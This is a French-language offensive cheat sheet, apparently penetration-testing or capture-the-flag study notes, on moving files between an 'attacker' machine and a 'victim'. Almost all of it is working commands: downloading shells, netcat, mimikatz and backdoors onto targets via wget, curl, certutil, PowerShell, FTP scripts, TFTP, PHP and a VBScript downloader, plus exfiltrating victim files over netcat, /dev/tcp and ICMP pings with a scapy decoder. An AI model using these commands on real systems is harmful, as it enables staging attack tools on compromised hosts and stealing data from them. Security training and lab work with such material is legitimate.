Voici quelques méthodes pour transférer des fichiers. Dépendemment de la plateforme, il est pratique d’en connaître plusieurs. Parfois, certains logiciels sont bloqués par l’administrateur ou le pare-feu.
Pour du simple copier-coller, un encodage base64 est la plupart suffisant. Voici les commandes pour Linux
base64 -w0 <file> #Encoder le fichier
base64 -d file #Décoder le fichier
et pour Windows
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
Transfert via HTTP (Linux)
wget 10.10.14.14:8080/script.py -O /dev/shm/.rev.py
wget 10.10.14.14:8080/script.py -P /dev/shm
curl 10.10.14.14:8080/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8080/shell.py #FreeBSD
Transfert via HTTP (Windows)
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#Powershell
(New-Object Net.WebClient).DownloadFile("http://192.168.2.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://192.168.2.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OU
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Se faire un serveur HTTP avec python2
https://gist.githubusercontent.com/UniIsland/3346170/raw/059aca1d510c615df3d9fedafabac4d538ebe352/SimpleHTTPServerWithUpload.py
Se faire un serveur FTP avec python3
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
Se faire un serveur FTP avec NodeJS
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
Installer le logiciel pure-ftp sur Debian, Ubuntu ou Kali
apt-get update && apt-get install pure-ftp
Script de configuration pour pure-ftp. Il ajoute les usagers, crée le répertoire home et change le propriétaire du répertoire
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd r0cker -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
Client FTP Windows
# Fonctionne avec pure-ftp, utiliser r0cker:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
Transfert de fichiers par SMB
kali_op1> impacket-smbserver -smb2support monpartage `pwd` # Partage le répertoire actuel
kali_op2> smbserver.py -smb2support monpartage ~ # Partage notre répertoire home
#Pour les versions récentes de Windows 10
impacket-smbserver -smb2support -user test -password test monpartage `pwd`
Se créer un partage avec SAMBA
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Ajouter à la fin du fichier /etc/samba/smb.conf:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Rédémarrer Samba
service smbd restart
Se créer un partage sous Windows
net use z: \\10.10.14.14\test /user:test test #Partage avec mot de passe
#powershell
New-PSDrive -Name "mon_disque" -PSProvider "FileSystem" -Root "\\192.168.2.2\monpartage"
cd mon_disque:
Avec l’utilitaire SCP (windows et linux). un serveur SSHD doit tourner
scp <usager>@<attaquant>:/home/germain/backdoor.py backdoor.py
Avec netcat
nc -lvnp 4444 > nouveau_fichier #sur l'ordinateur de l'attaquant
nc -vn attaquant_ip 4444 < ficher_à_transférer
Avec /dev/tcp (linux)
nc -lvnp 80 > file #Commande sur l'attaquant
cat /home/germain/fichier > /dev/tcp/192.168.2.2/80 #Commande sur la victime
Téléversement d’un fichier sur l’ordinateur de la victime
nc -w5 -lvnp 80 < fichier_a_transferer.txt # Sur l'ordinateur de l'attaquant
# Sur l'ordinateur de la victime (Linux)
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > fichier_a_transferer.txt
Transfert de fichier via ICMP (s’il n’y a pas d’autres alternatives)
#Pour copier un fichier via des pings:
xxd -p -c 4 /home/germain/fichier | while read line; do ping -c 1 -p $line $attaquant_ip; done
#Copie par paquet de 4 octets. Vous pouvez essayer jusqu'à 16
Code du serveur pour décoder les pings et écrire le fichier sur l’attaquant
from scapy.all import *
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Lire les 4 octets qui nous intéressent
print(f"{data.decode('utf-8')}", flush=True, end="")
sniff(iface="tun0", prn=process_packet)
Transfert via un serveur SMTP et Python
sudo python -m smtpd -n -c DebuggingServer :25
Par TFTP. Démarrer un serveur TFTP sous kali
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
Par TFTP (avec Python)
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
Copier un fichier sur la victime par tftp
tftp -i attaquant_ip get nc.exe
Télécharger un fichier avec php
echo "<?php file_put_contents('script.py', fopen('http://192.168.2.202/script.py', 'r')); ?>" > download_script.php
Échange de fichiers avec vbscript. Nécessite un serveur HTTP (Python, Apache, Nginx). Mettre le code dans un bash script. L’exécuter pour avoir le fichier wget.vbs
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
Exécuter le vbscript avec les paramètres nécessaires
cscript wget.vbs http://193.268.2.22/monfichier monfichier
En réassemblant le fichier avec Debug.exe. Pour les petits exécutables de moins de 64 kilo-octets
upx -9 monfichier.exe
wine exe2bat.exe monfichier.exe monfichier.txt
Par la suite, il est possible de copier/copier le texte dans un shell windows pour recréer monfichier.exe
Transfert de fichier via DNS : https://www.go350.com/posts/exfiltrate-files-using-the-dns/